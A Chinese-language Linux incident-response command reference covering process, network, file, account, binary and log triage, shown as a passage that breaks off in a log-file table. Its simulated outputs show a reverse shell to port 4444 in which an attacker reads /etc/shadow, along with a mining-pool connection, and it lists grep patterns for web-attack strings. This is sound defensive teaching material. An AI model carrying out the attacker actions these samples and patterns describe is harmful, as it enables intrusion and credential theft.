1. 1. Linux 应急响应 — 排查命令速查
    1. 1.1. 1. 进程排查命令
      1. 1.1.1. 1.1 ps auxef — 完整进程列表
      2. 1.1.2. 1.2 ps -eo — 按启动时间排序
      3. 1.1.3. 1.3 pstree -ap — 进程树
      4. 1.1.4. 1.4 top — 资源占用排序
      5. 1.1.5. 1.5 进程异常特征总结
    2. 1.2. 2. 网络排查命令
      1. 1.2.1. 2.1 netstat -antlp — TCP 连接与监听端口
      2. 1.2.2. 2.2 ss -antlp — 更快的 Socket 统计
      3. 1.2.3. 2.3 lsof -i — 按进程查看网络连接
      4. 1.2.4. 2.4 netstat vs ss vs lsof 对比
      5. 1.2.5. 2.5 异常网络指标汇总
    3. 1.3. 3. 文件排查命令
      1. 1.3.1. 3.1 find — 按时间查找修改的文件
      2. 1.3.2. 3.2 find — SUID/SGID 文件排查
      3. 1.3.3. 3.3 find — 隐藏文件与临时目录
      4. 1.3.4. 3.4 lsattr — 扩展属性检查
      5. 1.3.5. 3.5 系统文件完整性校验
    4. 1.4. 4. 用户与登录排查
      1. 1.4.1. 4.1 当前登录用户
      2. 1.4.2. 4.2 登录历史
      3. 1.4.3. 4.3 用户账户排查
    5. 1.5. 5. 二进制分析命令
      1. 1.5.1. 5.1 file — 文件类型识别
      2. 1.5.2. 5.2 strings — 提取可读字符串
      3. 1.5.3. 5.3 哈希值计算与比对
      4. 1.5.4. 5.4 readelf 与 ldd — ELF 文件分析
      5. 1.5.5. 5.5 objdump — 反汇编(简介)
    6. 1.6. 6. 追踪与调试命令
      1. 1.6.1. 6.1 strace — 系统调用跟踪
      2. 1.6.2. 6.2 ltrace — 库函数调用跟踪
      3. 1.6.3. 6.3 tcpdump — 网络抓包
      4. 1.6.4. 6.4 strace 实战:追踪反弹 shell
    7. 1.7. 7. 日志快速分析命令
      1. 1.7.1. 7.1 journalctl — systemd 日志
      2. 1.7.2. 7.2 SSH 暴力破解分析
      3. 1.7.3. 7.3 其他日志分析
    8. 1.8. 8. 实战组合技
      1. 1.8.1. 场景 1:发现可疑外连 → 完整溯源
      2. 1.8.2. 场景 2:CPU 100% → 挖矿排查
      3. 1.8.3. 场景 3:可疑用户排查
      4. 1.8.4. 场景 4:反弹 shell 检测与分析
      5. 1.8.5. 场景 5:5 分钟快速排查(First Look)
      6. 1.8.6. 场景 6:Webshell 后门排查
      7. 1.8.7. 场景 7:检查持久化后门
      8. 1.8.8. 场景 8:已删除但仍在运行的恶意文件恢复
    9. 1.9. 9. 命令速查表
      1. 1.9.1. 按排查阶段分类
      2. 1.9.2. 关键 /proc 文件速查
    10. 1.10. 10. 练习题
      1. 1.10.1. 实战练习:在实验环境中找到隐藏的反弹 shell
      2. 1.10.2. 延伸学习

Linux应急响应 - 02 排查命令速查

Linux 应急响应 — 排查命令速查

本页是 Linux 应急响应的核心命令参考手册,覆盖进程、网络、文件、用户、二进制分析、追踪调试、日志分析七大排查维度

每条命令均提供:用途说明、关键参数、真实输出示例、异常指标(红旗信号)

前置知识:Linux应急响应/01-基础概念

下一步:Linux应急响应/03-日志分析

原则:先观察,再取证,最后处置。所有命令尽量以只读方式运行,避免破坏现场。

1. 进程排查命令

1.1 ps auxef — 完整进程列表

用途:显示系统上所有进程的完整信息,是应急响应的第一条命令

关键参数解释

a — 显示所有用户的进程(不仅是当前终端)

u — 以用户友好格式显示(包含 CPU、内存等)

x — 包含没有控制终端的进程(守护进程、后台任务)

e — 显示进程的环境变量

f — 显示进程树(ASCII 格式的父子关系)

输出各列含义

列名 含义 应急关注点
USER 运行该进程的用户 root 运行的异常进程
PID 进程 ID 记录可疑进程 PID 用于后续分析
%CPU CPU 使用率 持续 100% 可能是挖矿
%MEM 内存使用率 异常高内存占用
VSZ 虚拟内存大小(KB) 与同类进程对比是否异常
RSS 常驻内存集大小(KB) 实际物理内存占用
TTY 控制终端 pts/x 表示远程连接,? 表示无终端
STAT 进程状态 S=睡眠, R=运行, Z=僵尸, T=停止
START 启动时间 与入侵时间线对比
TIME 累计 CPU 时间 高 CPU 时间说明长时间运行
COMMAND 完整命令行 最重要的排查依据

示例命令

1
ps auxef

输出示例

1
2
3
4
5
6
7
8
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root 1 0.0 0.1 169376 13200 ? Ss Jan01 2:35 /usr/lib/systemd/systemd
root 2 0.0 0.0 0 0 ? S Jan01 0:00 [kthreadd]
root 821 0.0 0.0 72304 6392 ? Ss Jan01 0:15 /usr/sbin/sshd -D
root 15234 0.0 0.0 108168 7368 ? Ss 10:23 0:00 \_ sshd: admin [priv]
admin 15238 0.0 0.0 108168 4216 pts/0 Ss 10:23 0:00 \_ -bash
www-data 31247 98.5 2.3 2456712 95432 ? Sl 03:12 187:23 /tmp/.cache/kworker0
nobody 31580 0.0 0.1 45672 5120 ? S 04:45 0:02 /var/tmp/.x/agent

异常指标(红旗信号) 🚩

www-data 用户运行了一个 CPU 占用 98.5% 的进程,路径在 /tmp/.cache/,名称伪装成内核线程 kworker0高度可疑,疑似挖矿木马

nobody 用户在 /var/tmp/.x/ 下运行了名为 agent 的进程 — 可疑后门

正常的内核线程名称如 [kworker/0:0] 会带方括号,且 COMMAND 列不会显示文件路径

1.2 ps -eo — 按启动时间排序

用途:按时间排序查看进程,快速发现入侵后新启动的进程

命令

1
ps -eo pid,ppid,user,uid,lstart,args --sort=start_time

关键参数

-e — 所有进程

-o — 自定义输出列

lstart — 完整启动时间(精确到秒)

--sort=start_time — 按启动时间升序排列

输出示例

1
2
3
4
5
6
  PID  PPID USER       UID                  STARTED COMMAND
1 0 root 0 Wed Jan 1 00:00:01 2025 /usr/lib/systemd/systemd
821 1 root 0 Wed Jan 1 00:00:05 2025 /usr/sbin/sshd -D
31247 1 www-data 33 Fri Mar 14 03:12:44 2025 /tmp/.cache/kworker0
31580 31247 nobody 65534 Fri Mar 14 04:45:12 2025 /var/tmp/.x/agent
31922 31580 nobody 65534 Fri Mar 14 04:45:15 2025 bash -i

排查技巧

将输出与已知入侵时间点对比,重点关注入侵时间前后启动的进程

PPID 为 1 的非系统服务进程是孤儿进程,需要重点排查

lstartstart 更精确,适合做时间线分析

1.3 pstree -ap — 进程树

用途:以树状结构展示进程父子关系,快速发现异常调用链

命令

1
pstree -ap

关键参数

-a — 显示命令行参数

-p — 显示 PID

输出示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
systemd,1
├─sshd,821
│ └─sshd,15234
│ └─bash,15238
│ └─vim,15301 /etc/hosts
├─apache2,900
│ ├─apache2,31100
│ │ └─sh,31245 -c /tmp/.cache/kworker0
│ │ └─kworker0,31247
│ │ └─agent,31580
│ │ └─bash,31922 -i
│ ├─apache2,31101
│ └─apache2,31102
└─cron,456

异常指标 🚩

apache2shkworker0agentbash 这条链路明显异常

Web 服务(apache2)不应该派生 shell 进程,说明可能通过 Web 漏洞获得了命令执行

最终的 bash -i 很可能是反弹 shell

1.4 top — 资源占用排序

按 CPU 排序(发现挖矿)

1
top -bn1 -o %CPU | head -30

按内存排序

1
top -bn1 -o %MEM | head -30

关键参数

-b — 批处理模式(适合脚本和重定向)

-n1 — 只刷新 1 次后退出

-o %CPU — 按 CPU 使用率降序排列

输出示例

1
2
3
4
5
6
7
top - 14:32:01 up 72 days,  3:12,  2 users,  load average: 4.02, 3.98, 3.95
Tasks: 187 total, 2 running, 185 sleeping, 0 stopped, 0 zombie
%Cpu(s): 99.2 us, 0.5 sy, 0.0 ni, 0.2 id, 0.0 wa, 0.0 hi, 0.1 si, 0.0 st

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
31247 www-data 20 0 2456712 95432 2048 S 98.5 2.3 187:23.45 kworker0
15238 admin 20 0 108168 4216 3456 S 0.0 0.1 0:00.12 bash

异常指标 🚩

load average 持续在 CPU 核心数以上(如 4 核机器 load 为 4.02),说明 CPU 被占满

单个进程 CPU 持续接近或等于 100%,且进程名可疑 — 挖矿木马典型特征

99.2 us(用户态)极高,id(空闲)接近 0

1.5 进程异常特征总结

名称伪装

正常内核线程:[kthreadd][kworker/0:0][migration/0] — 带方括号

伪装进程:kworker0[kworker/0:0](但有文件路径)— 不带方括号或有路径

判断方法:ls -la /proc/PID/exe 查看实际可执行文件路径

1
2
ls -la /proc/31247/exe
# 输出: lrwxrwxrwx 1 www-data www-data 0 Mar 14 03:12 /proc/31247/exe -> /tmp/.cache/kworker0

可疑路径

/tmp//var/tmp//dev/shm/ — 临时目录,任何人可写

/home/user/.xxx/ — 用户目录下的隐藏文件夹

/usr/lib/.hidden/ — 系统目录下的隐藏文件夹

孤儿进程

PPID 为 1 且不是已知系统服务的进程

原因:父进程已退出,被 init/systemd 接管

进程环境变量检查

1
cat /proc/PID/environ | tr '\0' '\n'

查看进程启动时的环境变量,可能包含 C2 地址、密码等信息

进程文件描述符检查

1
ls -la /proc/PID/fd/

查看进程打开的文件,可能发现日志文件、socket 连接、配置文件

进程 cwd(工作目录)

1
ls -la /proc/PID/cwd

确认进程是从哪个目录启动的

2. 网络排查命令

2.1 netstat -antlp — TCP 连接与监听端口

用途:查看所有 TCP 连接状态和监听端口,是网络排查的基础命令

命令

1
netstat -antlp

关键参数

-a — 显示所有连接(包括 LISTEN)

-n — 以数字形式显示地址和端口(不做 DNS 解析,速度更快)

-t — 仅显示 TCP 连接

-l — 仅显示监听状态

-p — 显示进程 PID 和名称

TCP 状态说明

状态 含义 应急关注点
LISTEN 正在监听端口 非预期的监听端口(后门)
ESTABLISHED 已建立连接 外连到可疑 IP/端口
SYN_SENT 发出连接请求 大量 SYN_SENT 可能在扫描
SYN_RECV 收到连接请求 大量可能是 SYN Flood
TIME_WAIT 连接已关闭等待超时 大量说明有频繁的短连接
CLOSE_WAIT 等待本地关闭 大量可能是程序 bug 或恶意行为
FIN_WAIT1/2 正在关闭连接 正常,除非数量异常

输出示例

1
2
3
4
5
6
7
8
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 821/sshd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 900/apache2
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 1024/mysqld
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN 31580/agent
tcp 0 0 192.168.1.100:80 45.77.65.2:48234 ESTABLISHED 31100/apache2
tcp 0 236 192.168.1.100:45678 185.141.27.34:4444 ESTABLISHED 31922/bash
tcp 0 0 192.168.1.100:52341 pool.minexmr.com:443 ESTABLISHED 31247/kworker0

异常指标 🚩

端口 9999agent 进程监听 — 可疑后门端口

bash 进程向外连接到 185.141.27.34:4444反弹 shell 特征(4444 是 Metasploit 默认端口)

kworker0 连接到 pool.minexmr.com:443矿池连接

2.2 ss -antlp — 更快的 Socket 统计

用途:功能类似 netstat,但速度更快,是 netstat 的现代替代品

命令

1
ss -antlp

相比 netstat 的优势

速度更快:直接从内核读取 socket 信息,不经过 /proc/net/tcp

信息更丰富:可以显示 TCP 内部状态(如拥塞窗口、RTT)

在连接数量极大时(万级以上),netstat 可能非常缓慢甚至卡死,ss 依然快速

高级用法 — 按状态过滤

1
2
3
4
5
6
7
8
9
10
11
# 只看已建立的连接
ss -ant state established

# 只看监听端口
ss -ant state listening

# 按目标端口过滤
ss -ant dport = :4444

# 按源端口过滤
ss -ant sport = :80

输出示例

1
2
3
4
State    Recv-Q  Send-Q  Local Address:Port   Peer Address:Port  Process
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=821,fd=3))
LISTEN 0 128 0.0.0.0:9999 0.0.0.0:* users:(("agent",pid=31580,fd=4))
ESTAB 0 236 192.168.1.100:45678 185.141.27.34:4444 users:(("bash",pid=31922,fd=3))

2.3 lsof -i — 按进程查看网络连接

用途:从进程角度查看网络连接,比 netstat/ss 更直观地关联进程和连接

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看所有网络连接
lsof -i -nP

# 查看特定端口
lsof -i :4444 -nP

# 只看 TCP 已建立连接
lsof -nP -iTCP -sTCP:ESTABLISHED

# 查看特定进程的网络连接
lsof -i -nP -p 31247

# 查看特定用户的网络连接
lsof -i -nP -u www-data

关键参数

-i — 列出网络文件(socket)

-n — 不解析主机名

-P — 不解析端口名(显示数字端口)

-p PID — 指定进程 PID

-sTCP:ESTABLISHED — 只看 TCP ESTABLISHED 状态

输出示例

1
2
3
4
5
6
COMMAND     PID     USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
sshd 821 root 3u IPv4 18234 0t0 TCP *:22 (LISTEN)
apache2 900 root 4u IPv4 18456 0t0 TCP *:80 (LISTEN)
agent 31580 nobody 4u IPv4 95432 0t0 TCP *:9999 (LISTEN)
bash 31922 nobody 3u IPv4 95678 0t0 TCP 192.168.1.100:45678->185.141.27.34:4444 (ESTABLISHED)
kworker0 31247 www-data 5u IPv4 94321 0t0 TCP 192.168.1.100:52341->45.33.32.156:3333 (ESTABLISHED)

2.4 netstat vs ss vs lsof 对比

特性 netstat ss lsof
速度 慢(大量连接时) 中等
信息详细度 中等 高(TCP 内部状态) 高(文件描述符级别)
按进程过滤 需要 grep 需要 grep 原生支持 -p
按状态过滤 需要 grep 原生支持 state 原生支持 -sTCP:
按端口过滤 需要 grep 原生支持 dport 原生支持 -i :PORT
系统可用性 需安装 net-tools 默认安装 需安装 lsof
推荐场景 兼容性需求 大规模连接排查 进程级别深入分析

建议:优先使用 ss,需要进程关联时用 lsofnetstat 作为备选

2.5 异常网络指标汇总

可疑外连端口

4444 — Metasploit 默认监听端口

5555 — 常见后门端口

8888 — 常见 C2 端口

1080/1090 — SOCKS 代理

3333/5555/7777/9999 — 常见矿池端口

6666/6667/6697 — IRC(部分僵尸网络使用)

可疑连接模式

反弹 shell:bash/sh/python/perl 进程有 ESTABLISHED 外连

矿池连接:连接到 *pool**xmr**mining* 等域名

C2 心跳:固定间隔的短连接到同一 IP

数据外传:大量数据发送到外部 IP(Send-Q 持续很高)

快速统计外连 IP

1
ss -ant state established | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -20

3. 文件排查命令

3.1 find — 按时间查找修改的文件

最近 1 天修改的文件(mtime)

1
find / -mtime -1 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

最近 1 天属性变化的文件(ctime)

1
find / -ctime -1 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

时间参数解释

参数 含义 应用场景
-mtime -1 修改时间在 1 天内 查找被篡改的文件
-ctime -1 属性变化在 1 天内(权限、所有者等) 发现权限提升
-atime -1 访问时间在 1 天内 查找被读取的敏感文件
-mmin -60 修改时间在 60 分钟内 缩小范围到近 1 小时
-newer /tmp/ref 比参考文件更新 以某个时间点为基准

按时间范围精确查找

1
2
3
4
5
6
# 创建时间参考文件
touch -t 202503140300 /tmp/start_time
touch -t 202503140500 /tmp/end_time

# 查找这个时间段内修改的文件
find / -newer /tmp/start_time ! -newer /tmp/end_time -type f 2>/dev/null

排除噪音目录

1
2
3
4
5
6
7
find / -mtime -1 -type f \
-not -path "/proc/*" \
-not -path "/sys/*" \
-not -path "/run/*" \
-not -path "/var/log/*" \
-not -path "/var/cache/*" \
2>/dev/null

3.2 find — SUID/SGID 文件排查

SUID 文件(以文件所有者权限运行)

1
find / -perm -4000 -type f 2>/dev/null

SGID 文件(以文件所属组权限运行)

1
find / -perm -2000 -type f 2>/dev/null

SUID + SGID 同时设置

1
find / -perm -6000 -type f 2>/dev/null

为什么重要:攻击者常通过给 /bin/bash 或自定义程序设置 SUID 位来实现持久化提权

正常的 SUID 文件列表(对比排查)

1
2
3
4
5
6
7
8
9
10
11
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/umount
/usr/bin/pkexec
/usr/sbin/pppd

异常示例

1
2
3
/usr/bin/find         ← 被设置了 SUID(可用于提权)
/tmp/.suid_bash ← 临时目录中的 SUID 文件,极度可疑
/var/tmp/.hidden/sh ← 隐藏目录中的 SUID shell

3.3 find — 隐藏文件与临时目录

查找隐藏文件

1
find / -name ".*" -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

查找隐藏目录

1
find / -name ".*" -type d -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

临时目录排查

1
2
3
ls -la /tmp/
ls -la /var/tmp/
ls -la /dev/shm/

查找临时目录中的可执行文件

1
find /tmp /var/tmp /dev/shm -type f -executable 2>/dev/null

无主文件(用户已删除但文件还在)

1
find / -nouser -o -nogroup 2>/dev/null

3.4 lsattr — 扩展属性检查

用途:查看文件的扩展属性,攻击者可能使用 chattr +i 设置不可修改标志来防止文件被删除

命令

1
lsattr /usr/sbin/ /usr/bin/ /etc/cron* /tmp/ /var/tmp/

输出示例

1
2
----i--------e-- /tmp/.hidden_backdoor
-------------e-- /tmp/normal_file

关键属性

i — immutable,文件不可修改、删除、重命名、链接,即使 root 也不行(除非先 chattr -i

a — append only,文件只能追加内容

解除 immutable 标志

1
chattr -i /tmp/.hidden_backdoor

3.5 系统文件完整性校验

CentOS/RHEL(使用 rpm)

1
rpm -Va

输出含义:S 大小改变,M 权限改变,5 MD5 校验和改变,T 修改时间改变

示例输出:

1
2
3
S.5....T.  c /etc/ssh/sshd_config
SM5....T. /usr/sbin/sshd
..5....T. /usr/bin/ps

/usr/sbin/sshd/usr/bin/ps 被替换 — 可能被植入 rootkit

Ubuntu/Debian(使用 debsums)

1
debsums -c

只输出校验失败的文件

手动校验关键命令

1
2
3
4
# 计算当前系统命令的哈希值
sha256sum /usr/bin/ps /usr/bin/top /usr/bin/netstat /usr/sbin/ss /usr/sbin/sshd

# 与已知干净系统的哈希值对比

4. 用户与登录排查

4.1 当前登录用户

who — 当前登录用户

1
who
1
2
admin    pts/0        2025-03-14 10:23 (192.168.1.50)
root pts/1 2025-03-14 03:12 (185.141.27.34)

w — 当前登录用户及其活动

1
w
1
2
3
4
 14:32:01 up 72 days,  3:12,  2 users,  load average: 4.02, 3.98, 3.95
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
admin pts/0 192.168.1.50 10:23 0.00s 0.12s 0.01s w
root pts/1 185.141.27.34 03:12 3:45 0.08s 0.08s bash

异常指标 🚩

root 从外部 IP 185.141.27.34 直接登录 — 正常情况下不应允许 root 远程登录

凌晨 3:12 登录 — 非正常工作时间

来源 IP 为境外 IP — 需要确认是否为合法运维

4.2 登录历史

last — 成功登录历史

1
last -n 30 -a -i

-n 30 — 最近 30 条

-a — 在最后一列显示主机名

-i — 显示 IP 而非主机名

输出示例

1
2
3
4
5
admin    pts/0    Fri Mar 14 10:23   still logged in    192.168.1.50
root pts/1 Fri Mar 14 03:12 still logged in 185.141.27.34
admin pts/0 Thu Mar 13 09:00 - 18:30 (09:30) 192.168.1.50
reboot system boot Thu Mar 13 08:55 still running 0.0.0.0
root pts/0 Wed Mar 12 03:01 - 03:45 (00:44) 185.141.27.34

lastb — 失败登录历史(暴力破解检测)

1
lastb -n 30 -a -i
1
2
3
4
root     ssh:notty    Fri Mar 14 02:45 - 02:45  (00:00)     185.141.27.34
root ssh:notty Fri Mar 14 02:45 - 02:45 (00:00) 185.141.27.34
admin ssh:notty Fri Mar 14 02:44 - 02:44 (00:00) 185.141.27.34
test ssh:notty Fri Mar 14 02:44 - 02:44 (00:00) 185.141.27.34

lastlog — 所有用户最后登录时间

1
lastlog

可以发现从未使用过但突然有登录记录的账户

utmpdump — 二进制登录日志转文本

1
2
utmpdump /var/log/wtmp
utmpdump /var/log/btmp

可以看到更详细的登录记录,包括 PID 和登录类型

4.3 用户账户排查

查找 UID 为 0 的用户(root 权限)

1
awk -F: '$3==0 {print $1}' /etc/passwd

正常只有 root,如果有其他用户 — 可能是后门账户

查找有 shell 的用户

1
grep -v '/nologin\|/false' /etc/passwd

查找最近添加的用户

1
2
3
4
5
6
7
8
# 按 UID 排序,新用户通常 UID 较大
sort -t: -k3 -n /etc/passwd

# 查看 /etc/passwd 修改时间
stat /etc/passwd

# 查看用户创建相关日志
grep "useradd\|adduser\|usermod" /var/log/auth.log

检查 sudoers 配置

1
2
3
cat /etc/sudoers
ls -la /etc/sudoers.d/
cat /etc/sudoers.d/*

检查用户的 SSH 密钥

1
2
3
4
5
for user_home in /home/* /root; do
echo "=== $user_home ==="
cat "$user_home/.ssh/authorized_keys" 2>/dev/null
ls -la "$user_home/.ssh/" 2>/dev/null
done

id 命令 — 检查用户详情

1
id suspicious_user
1
uid=1001(suspicious_user) gid=1001(suspicious_user) groups=1001(suspicious_user),27(sudo),0(root)

如果一个普通用户在 root 组中 — 权限异常

5. 二进制分析命令

5.1 file — 文件类型识别

用途:快速判断文件真实类型,不依赖文件扩展名

命令

1
file /tmp/.cache/kworker0

输出示例

1
2
/tmp/.cache/kworker0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, stripped

关注点

statically linked — 静态编译,不依赖系统库,方便攻击者部署

stripped — 去除了调试符号,增加分析难度

如果一个 .jpg 文件被识别为 ELF executable — 明确的伪装

5.2 strings — 提取可读字符串

用途:从二进制文件中提取人类可读的字符串,寻找 IP、URL、命令等线索

基础用法

1
strings /tmp/.cache/kworker0

针对性搜索

1
2
3
4
5
6
7
8
9
10
11
# 搜索网络相关字符串
strings -a /tmp/.cache/kworker0 | grep -iE '(http|ftp|ssh|://)'

# 搜索命令执行相关
strings -a /tmp/.cache/kworker0 | grep -iE '(/bin/|/sbin/|exec|system|popen|eval)'

# 搜索 IP 地址
strings -a /tmp/.cache/kworker0 | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}'

# 搜索矿池相关
strings -a /tmp/.cache/kworker0 | grep -iE '(pool|stratum|xmr|monero|mining|wallet)'

输出示例

1
2
3
4
5
6
stratum+tcp://pool.minexmr.com:3333
45vkT...(门罗币钱包地址)
/bin/sh
/proc/self/exe
/tmp/.cache/
Mozilla/5.0 (compatible; MSIE 10.0)

分析要点

发现矿池地址和钱包地址 — 确认为挖矿木马

Mozilla/5.0 User-Agent — 可能用于 HTTP C2 通信伪装

/proc/self/exe — 可能有自删除或自复制行为

5.3 哈希值计算与比对

计算哈希值

1
2
md5sum /tmp/.cache/kworker0
sha256sum /tmp/.cache/kworker0

输出示例

1
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  /tmp/.cache/kworker0

用途

上传到 VirusTotal (virustotal.com) 查询是否为已知恶意文件

在威胁情报平台搜索(微步在线 x.threatbook.com、AlienVault OTX 等)

与其他受害主机的样本进行比对

作为 IOC(Indicator of Compromise)写入安全报告

批量计算关键文件哈希

1
sha256sum /tmp/.cache/* /var/tmp/.x/* 2>/dev/null

5.4 readelf 与 ldd — ELF 文件分析

readelf — 查看 ELF 头信息

1
readelf -h /tmp/.cache/kworker0

确认架构(x86-64)、类型(EXEC/DYN)、入口点地址

ldd — 查看动态链接库

1
ldd /tmp/.cache/kworker0
1
2
3
4
5
6
7
8
# 静态编译的文件
not a dynamic executable

# 或者发现异常的共享库
linux-vdso.so.1 => (0x00007fff...)
libcrypto.so.1.0.0 => /usr/lib/libcrypto.so.1.0.0
/lib64/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2
libevil.so => /tmp/.cache/libevil.so ← 异常!加载了临时目录的库

注意ldd 在分析恶意文件时有安全风险,因为它可能会执行目标文件的初始化代码。对于不受信任的文件,使用 readelf -d 替代

1
readelf -d /tmp/.cache/kworker0 | grep NEEDED

5.5 objdump — 反汇编(简介)

用途:对二进制文件进行反汇编,查看汇编指令(高级分析)

命令

1
objdump -d /tmp/.cache/kworker0 | head -100

一般在应急响应现场不做深入反汇编分析,而是保存样本后提交给恶意软件分析团队

更推荐使用 Ghidra、IDA Pro 等专业工具进行离线分析

6. 追踪与调试命令

6.1 strace — 系统调用跟踪

用途:实时查看进程的系统调用,了解可疑进程在做什么

跟踪所有系统调用

1
strace -fp 31247 -o /tmp/strace_output.txt

只跟踪网络相关调用

1
strace -e trace=network -fp 31247
1
2
3
connect(5, {sa_family=AF_INET, sin_port=htons(3333), sin_addr=inet_addr("45.33.32.156")}, 16) = 0
sendto(5, "{"id":1,"method":"login","params..."..., 256, 0, NULL, 0) = 256
recvfrom(5, "{"id":1,"result":{"id":"..."..."..., 4096, 0, NULL, NULL) = 512

只跟踪文件操作

1
strace -e trace=file -fp 31247
1
2
openat(AT_FDCWD, "/proc/cpuinfo", O_RDONLY) = 6
openat(AT_FDCWD, "/tmp/.cache/config.json", O_RDONLY) = 7

只跟踪进程操作

1
strace -e trace=process -fp 31247

关键参数

-f — 跟踪子进程

-p PID — 附加到已运行的进程

-e trace=CATEGORY — 过滤系统调用类别(network, file, process, signal)

-o FILE — 输出到文件

-t — 显示时间戳

-s 256 — 显示字符串的最大长度(默认 32,增大可看到更多数据)

实战示例:分析可疑进程行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 完整跟踪,带时间戳,字符串长度 256
strace -fp 31247 -t -s 256 -o /tmp/trace_31247.txt &

# 等待 30 秒收集数据
sleep 30
kill %1

# 分析网络连接
grep -E "connect|sendto|recvfrom" /tmp/trace_31247.txt

# 分析文件访问
grep -E "open|read|write|unlink" /tmp/trace_31247.txt

# 分析进程创建
grep -E "clone|fork|exec" /tmp/trace_31247.txt

6.2 ltrace — 库函数调用跟踪

用途:跟踪动态链接库函数调用,比 strace 更高层级

命令

1
ltrace -fp 31247

注意:对静态编译的二进制文件无效

6.3 tcpdump — 网络抓包

按端口抓包

1
tcpdump -i any -nn port 4444 -w /tmp/capture_4444.pcap

按 IP 抓包

1
tcpdump -i any -nn host 185.141.27.34 -w /tmp/capture_c2.pcap

实时查看内容

1
tcpdump -i any -nn -A port 4444

关键参数

-i any — 监听所有网卡

-nn — 不解析主机名和端口名

-A — 以 ASCII 显示包内容

-X — 以十六进制和 ASCII 同时显示

-w FILE — 保存为 pcap 文件(可用 Wireshark 分析)

-c COUNT — 抓取指定数量的包后停止

常用过滤表达式

1
2
3
4
5
6
7
8
# 抓取特定进程的流量(通过端口)
tcpdump -i any -nn port 3333 or port 4444

# 抓取所有非 SSH 流量(排除运维干扰)
tcpdump -i any -nn not port 22

# 抓取 SYN 包(检测扫描行为)
tcpdump -i any -nn 'tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0'

6.4 strace 实战:追踪反弹 shell

场景:发现 PID 31922 的 bash 进程有可疑外连,用 strace 确认

操作步骤

1
2
3
4
5
6
7
# 1. 确认进程信息
ps auxef | grep 31922
ls -la /proc/31922/exe
ls -la /proc/31922/fd/

# 2. 查看文件描述符 — 反弹 shell 的关键特征
ls -la /proc/31922/fd/
1
2
3
lrwx------ 1 nobody nobody 64 Mar 14 04:45 0 -> socket:[95678]
lrwx------ 1 nobody nobody 64 Mar 14 04:45 1 -> socket:[95678]
lrwx------ 1 nobody nobody 64 Mar 14 04:45 2 -> socket:[95678]

fd 0(stdin)、1(stdout)、2(stderr)都指向同一个 socket — 这是反弹 shell 的铁证

继续追踪

1
2
3
4
5
# 3. 查看 socket 详情
ss -antlp | grep 31922

# 4. 用 strace 实时监控攻击者操作
strace -fp 31922 -e trace=read,write -s 256
1
2
3
read(0, "id\n", 256)              = 3
write(1, "uid=65534(nobody) gid=65534(nogroup)\n", 37) = 37
read(0, "cat /etc/shadow\n", 256) = 16

可以实时看到攻击者输入的命令和输出

7. 日志快速分析命令

7.1 journalctl — systemd 日志

按服务查看日志

1
journalctl -u sshd --since "2025-03-13" --until "2025-03-15"

按用户查看日志

1
journalctl _UID=0 --since today

查看内核日志

1
journalctl -k

查看启动以来的所有日志

1
journalctl -b

实时跟踪日志

1
journalctl -f

关键参数

-u SERVICE — 按服务单元过滤

_UID=N — 按用户 ID 过滤

--since / --until — 时间范围

-p err — 按优先级过滤(emerg, alert, crit, err, warning, notice, info, debug)

-o json-pretty — JSON 格式输出(便于脚本处理)

7.2 SSH 暴力破解分析

统计失败登录 IP Top 20

1
2
3
4
5
# Debian/Ubuntu
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20

# CentOS/RHEL
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20

输出示例

1
2
3
4
15234 185.141.27.34
8921 103.45.67.89
4512 45.227.254.8
23 192.168.1.50

最近 20 次成功登录

1
grep "Accepted" /var/log/auth.log | tail -20
1
2
Mar 14 03:12:44 server sshd[15230]: Accepted password for root from 185.141.27.34 port 48234 ssh2
Mar 14 10:23:01 server sshd[15234]: Accepted publickey for admin from 192.168.1.50 port 52341 ssh2

异常指标 🚩

同一 IP 大量失败后突然成功 — 暴力破解成功

root 账户从外部 IP 使用密码登录 — 配置不当 + 可能被暴破

非工作时间的成功登录

统计每小时登录失败次数(时间线分析)

1
grep "Failed password" /var/log/auth.log | awk '{print $1,$2,substr($3,1,2)":00"}' | sort | uniq -c | sort -rn

7.3 其他日志分析

查看压缩的轮转日志

1
2
zgrep "Failed password" /var/log/auth.log.*.gz
zcat /var/log/auth.log.1.gz | head -50

cron 日志(检查定时任务异常)

1
2
3
grep CRON /var/log/syslog
# 或
journalctl -u cron --since today

Web 服务器日志

1
2
3
4
5
6
7
8
# 统计访问量 Top IP
awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head -20

# 搜索 Web 攻击特征
grep -iE "(eval|exec|system|passthru|shell_exec|cmd=|/etc/passwd|union.*select)" /var/log/apache2/access.log

# 搜索 Webshell 上传
grep -iE "POST.*(upload|file|cmd|shell)" /var/log/apache2/access.log

重要日志文件位置汇总

日志文件 内容 命令
